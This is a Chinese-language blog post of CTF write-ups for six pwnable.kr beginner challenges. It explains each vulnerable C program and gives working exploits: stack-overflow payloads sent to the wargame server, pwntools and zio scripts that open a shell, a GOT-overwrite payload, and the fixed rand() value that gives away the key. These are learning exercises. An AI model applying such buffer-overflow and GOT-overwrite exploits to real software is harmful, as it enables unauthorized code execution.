pwnable.kr

开始入坑Pwn,此篇博文记录在pwnable.kr网站上做题的过程和在做题过程中遇到的新的知识点的学习!

[Toddler’s Bottle]

fd

题目描述:
Mommy! what is a file descriptor in Linux?
try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial
link: https://www.youtube.com/watch?v=blAxTfcW9VU
ssh fd@pwnable.kr -p2222 (pw:guest)

0x00 题目分析

通过题目名称和题目描述可知,此题与Linux下文件的描述有关系。题目还给了一个ssh连接账号和密码,先连接一下看看。


登录成功

知识点一 Linux系统文件描述fd(file descriptor)

0x01 查看文件及权限

再看看当前目录下有什么文件,发现了三个文件,fd、fd.c、flag,并且看到当前用户对于flag文件没有读权限。


查看文件

知识点二 Linux文件权限

0x02 分析fd.c

查看fd.c内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;

}

先分析一下这段代码,main()函数有三个参数

1
2
3
4
5
6
7
8
****************************main()原型*******************************
1. argc 指命令行输入参数的个数(编译器根据用户输入计算,程序名称也算在里面)
2. argv 存储命令行输入的参数(多个参数用空格分隔,以NULL结束)
3. env 存储了系统的环境变量
********************************************************************
int main(int argc,char** argv)
int main(int argc,char* argv[])
int main(int argc, char* argv[], char* env[] )

1.要想拿到flag,执行system(“/bin/cat flag”)
2.就要使if(!strcmp(“LETMEWIN\n”, buf))的条件为真
3.那么就要使strcmp(“LETMEWIN\n”,buf)返回0,也就是buf=”LETMEWIN\n”
4.buf中的值是从fd中读出来的
5.atoi(表示 ascii to integer)是把字符串转换成整型数的一个函数
6.当argv[1]=”4660”时,fd=0.表示从键盘读入数据存放到buf中,因为在Linux系统将所有设备都当作文件来处理,当fd=0时就是把键盘当做一个文件

Linux标准文件描述符
文件描述符 缩写 描述
0 STDIN 标准输入
1 STDOUT 标准输出
2 STDERR 标准错误输出
1
2
3
4
5
6
7
8
9
10
11
12
****************************read()原型*******************************
read from a file descriptor
1. fd 文件描述符,用来指向要操作的文件的文件结构体
2. buf 读上来的数据保存在缓冲区buf中
3. count 请求读取的字节数
********************************************************************
#include <unistd.h>
ssize_t read(int fd, void *buf, size_t count);
函数的返回值说明:
(1)如果成功,返回读取的字节数(字符串结束符 '\0'不算);
(2)如果出错,返回-1并设置errno;
(3)如果在调read函数之前已是文件末尾,则返回0

0x03 拿取flag


flag

collision

题目描述:
Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!
ssh col@pwnable.kr -p2222 (pw:guest)

0x00 题目分析

由题目可知,这道题是一个与MD5哈希碰撞有关的题目。和上一道题一样,给出了SSH登录账号和密码,依旧登录一下。登陆成功,当前用户是col


登陆成功

0x01 查看文件权限

依旧和第一题相似,本题用户对flag文件依旧没有读取权限,当前用户目录一共有三个文件,col、col.c、flag


查看文件权限

0x02 分析col.c

查看col.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}

int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}

if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

这段代码开始的时候定义了一个hashcode,有一个check_password()函数,可知要求输入一个password进行比对, 再看看主函数和上题很像,有argc和argv[]两个参数,由此可知password将在执行这段代码的时候跟在程序名称后面传入程序中。

当没有传入参数时,显示此段程序的usage

1
2
3
4
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}

由下面这段程序可知,输入的参数的长度为20字节时,才会执行if语句里的system(“/bin/cat flag”),输出flag

1
2
3
4
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}

再来看看check_password()函数,传入的参数是一个char型的字符数组,在函数里面通过int ip = (int)p将char型的字符数组转换成int型的字符数组,20个字节的字符数组就变成拥有5个元素的int型数组,通过for循环进行累加,得到的值与hashcode进行比对。
对20个字节,要构造输入的整型转换后的5个整数求和 == 0x21DD09EC,
第一个想法是:前16个字节赋\x00,最后4个字节为0xEC09DD21,但是\x09是HTab,输入会被阻断。
第二个想法:前16个字节赋\x01,最后4个字节为\xE8\x05\xD9\x1D,嗯,就这样。
0x01010101*4+0x1DD905E8=0x21DD09EC

0x03 拿取flag

1
./col `python -c "print '\x01' * 16 + '\xE8\x05\xD9\x1D'"`

解释一下这段命令,在bash中,$( )与` `(反引号)都是用来作命令替换的。命令替换与变量替换差不多,都是用来重组命令行的,先完成引号里的命令行,然后将其结果替换出来,再重组成新的命令行。-c 参数,直接运行python语句,用print语句打印出构造好的20个字节。然后将输出的20个字节数据传进col,进行验证,得到flag


flag

bof

题目描述
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000

0x00 题目分析

有题目可知这是一道和缓冲区溢出有关的题目。题目给了两个文件,先来看看两个文件的信息吧。

0x01 bof&bof.c

先用file命令查看一下bof的文件信息


bof

由得出的信息可以知道Linux下一个32bit的ELF文件。再查看一下bof.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

0x02 深入分析

  • 可以看到这段程序有两个函数,一个主函数、一个func()
  • 主函数调用func(),并传入了一个参数0xdeadbeef
  • func()可以看到关键的两个地方,一个是gets(overflowme);、一个是system("/bin/sh");
  • 可以看到当key==0xcafebabe时,可以获得一个shell,key是调用时传进来的参数,但是传的是0xdeadbeef,相等?不存在的
  • 但是可以用栈溢出将函数调用时入栈的参数覆盖掉,让key==0xcafebabe

先用IDA打开看看吧


IDA
  • cmp [ebp+arg_0],0CAFEBABEh这句对应if(key == 0xcafebabe),可以知道key存到了ebp+arg_0
  • arg_0 = dword ptr 8;故key的地址为ebp+8
  • call gets上面两句lea eax,[ebp+s]和mov [esp],eax是为了提高栈顶,为了接收gets()传进来的数据
  • 输入的数据从ebp+s,也就是ebp-0x2c开始存储。

现在用GDB调试下,停在cmp [ebp+arg_0],0CAFEBABEh处,下图是寄存器和汇编截图


GDB

下图是栈内数据的布局:


GDB

EAX中存储的为输入数据的首地址0xffffce9c,栈地址0xffffced0处存储的是func()调用的时候传入的key0xdeadbeef,现在算算0xffffced0-0xffffce9c=0x34,也就是52个字节,在后面加上0xcafebabe就覆盖了key,成功跳转

0x03 构造并编写exp

系统只是调用了system函数,没有发现输入的话就会终止掉,所以我们可以向它传递一个标准输入:(cat -)

1
2
3
 ⚙/pwn/pwnable.kr/bof (python -c "print 'x'*52 +'\xbe\xba\xfe\xca'")|nc pwnable.kr 9000 
*** stack smashing detected ***: /home/bof/bof terminated
overflow me :
1
(python -c "print 'x'*52 +'\xbe\xba\xfe\xca'";cat -)|nc pwnable.kr 9000

这里若没有cat,因为nc的单向连接时非持续性的,那么传完payload后一个tcp会话就结束了,也就是没机会传cmd命令了,而加入cat,则让nc的这个tcp会话永不结束,直到用户输入Ctri+C。而cat又比较特殊,可以将用户输入原封不动返回并重定向给了nc…

下面是用pwntools写的自动化攻击脚本:

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python
# -*- coding:utf-8 -*-

from pwn import *

payload = 'a'*52+'\xbe\xba\xfe\xca'

p = remote('pwnable.kr',9000)
p.sendline(payload)
p.interactive()
p.close()

下面是用zio写的自动化攻击脚本:

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env python
# -*- coding:utf-8 -*-

from zio import *
host = "pwnable.kr"
port = 9000
io = zio((host,port),print_read=False,print_write=False)
payload = "A"*52 + "\xbe\xba\xfe\xca" + "\n"
io.write(payload+"\n")
io.interact()

flag

题目描述:
Papa brought me a packed present! let’s open it.
Download : http://pwnable.kr/bin/flag
This is reversing task. all you need is binary

0x00 题目分析

题目说这是一个逆向的题目,将题目给的文件下载下来,先用IDA打开看一下


IDA

可以看到这不是一个正常的情况,结合逆向的提示,估计是被加了壳,用strings查看flag文件,在最后发现了UPX,说明被加了UPX壳,用下面的命令进行脱壳

1
upx -d flag -o deflag

0x01 获取flag

然后将去壳的deflag再用IDA打开看一下,定位到main函数,可以看到mov rdx, cs:flag


IDA

双击flag,可以定位到这样一字符串(也可以用shift+F12,查看字符串)


IDA

将这串字符串提交,通过了。可以看到这道题就是考了脱壳的知识点。

passcode

题目描述:
Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?
ssh passcode@pwnable.kr -p2222 (pw:guest)

0x00 题目分析

依旧先登录一下


ssh

可以看到当前目录下有三个文件,flagpasscodepasscode.c,当然了当前用户对flag肯定是没有读写权限的,所以查看一下passcode.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

0x01 深入分析

  • 可以看到main函数里调用了两个函数,welcome()login()
  • welcome和login拥有相同的ebp,栈帧有交叉
  • welcome()函数里接收了一个最大大小为100个字符的name字符串
  • login()函数里接收了两个变量passcode1passcode2,并且分别与33815013371337进行比较
  • 如果都相等,则输出flag
  • 但是scanf()用的有问题,没有用&取地址符号,如果scanf没加&的话,程序会默认从栈中读取4个字节的数据当做scanf取的地址
  • 也就是说不能通过这两个scanf()突破限制,所以重任就落在了name的身上

先看一下name、passcode1、passcode2在栈中的位置


name

passcode

可以看到name在栈中的起始位置是ebp-0x70,passcode1和passcode2在栈中的位置分别为ebp-0x10ebp-0x0c,(ebp-0x70)-(ebp-0x10)=96,由于程序给name分配了100个字节的空间,所以刚好可以覆盖到passcode1,但是由于开启了canary,所以不能再继续覆盖到passcode2,但是GOT表是可写的。因此,可以把passcode1的地址修改为fflush()或printf()或exit()的GOT表地址,然后通过scanf()传入system()的地址,将fflush()或printf()或exit()的真实地址覆盖,这样就拿到shell了。


checksec

GOT表

system地址

0x02 构造payload并编写exp

这里我用system的地址覆盖fflush()在GOT表中存的真实地址,因为scanf()以%d获取数据,所以system()的地址0x80485e3要转化成十进制数134514147,现在构造payload获取flag

1
python -c "print 'A'*96+'\x04\xa0\x04\x08'+'134514147\n'" | ./passcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python
# -*- coding:utf-8 -*-

from pwn import *

p = process('./passcode')

fflush_got = 0x0804a004
system_addr = 0x080485e3

payload = ""
payload += "A"*96
payload += p32(fflush_got)
payload += str(system_addr)

p.send(payload)
p.recv()

0x03 总结

这道题涉及到的知识点是GOT表是可写的,scanf()如果没有加&取地址符,就会在栈上取地址作为传入的数据的存放地址

random

题目描述:
Daddy, teach me how to use random value in programming!
ssh random@pwnable.kr -p2222 (pw:guest)

0x00 题目分析

从题目名称和题目描述可以看出,这道题和随机数有关系,先来链接一下靶机看看


ssh

可以看到当前目录下有三个文件,flagrandomrandom.c,现在查看一下random.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>

int main(){
unsigned int random;
random = rand(); // random value!

unsigned int key=0;
scanf("%d", &key);

if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}

printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}

0x01 深入分析

可以看到random.c使用了stdlib.h中的rand()函数,讲到rand()函数,就要说一下srand()函数,下面先介绍一下rand()函数和srand()函数

1
2
3
4
5
6
7
*****************************rand()函数********************************
函数原型:int rand(void);
返回值:返回一个[0,RAND_MAX]之间的随机整数
说明:rand()函数产生的随机数并不是真正的随机数,是伪随机数,它会将srand()产生
的随机数种子作为随机数序列的初始值。如果每次的种子不同,就可以产生不同的随
机数序列。如果种子是相同的,产生的随机数序列也是相同的。若未设置随机数种子,
默认是随机数种子为1,这里就是这种情况
1
2
3
4
5
6
7
****************************srand()函数********************************
函数原型:void srand(unsigned seed);
函数参数:参数seed就是设置的随机数种子
说明:系统在调用rand()函数之前,会自动调用srand(),如果用户在rand()之前曾调用
过srand()给参数seed指定了一个值,那么 rand()就会将seed的值作为产生伪随机
数的初始值;而如果用户在rand()前没有调用过srand(),那么系统默认将1作为伪
随机数的初始 值。如果给了一个定值,那么每次rand()产生的随机数序列都是一样的~~

我们可以看到,random.c里用了rand()函数,但是没有对随机数种子进行设置,所以,每次运行这个程序的时候,产生的第一个随机数都是确定的。可以有好几种方法获得这个序列的第一个随机值,可以写一段代码将第一个随机数打印出来,也可以用调试器调试,看执行完rand()函数后,rax或者eax内的值,就是rand()函数的返回值.我用gdb查看rax的值,先在rand()函数后下一个断点,运行到断点出,可以看到rax的值如下图所示:(0x6b8b4567==1804289383)


gdb

0x02 获取flag

  • if((key ^ random) == 0xdeadbeef)成立时,会将flag显示出来
  • random在上面已经得到了,random=0x6b8b4567
  • key是我们需要输入的,我们知道^(异或)运算是可逆
  • 所以key=random^0xdeadbeef,key=3039230856

flag

0x03 总结

这道题的知识点是rand()函数,如果未用srand()设置随机数种子,则默认随机数种子为1,产生的随机数序列是确定的

[Rookiss]

[Grotesque]

[Hacker’s Secret]

文章目录
  1. [Toddler’s Bottle]
    1. fd
      1. 0x00 题目分析
      2. 0x01 查看文件及权限
      3. 0x02 分析fd.c
      4. 0x03 拿取flag
    2. collision
      1. 0x00 题目分析
      2. 0x01 查看文件权限
      3. 0x02 分析col.c
      4. 0x03 拿取flag
    3. bof
      1. 0x00 题目分析
      2. 0x01 bof&bof.c
      3. 0x02 深入分析
      4. 0x03 构造并编写exp
    4. flag
      1. 0x00 题目分析
      2. 0x01 获取flag
    5. passcode
      1. 0x00 题目分析
      2. 0x01 深入分析
      3. 0x02 构造payload并编写exp
      4. 0x03 总结
    6. random
      1. 0x00 题目分析
      2. 0x01 深入分析
      3. 0x02 获取flag
      4. 0x03 总结
  2. [Rookiss]
  3. [Grotesque]
  4. [Hacker’s Secret]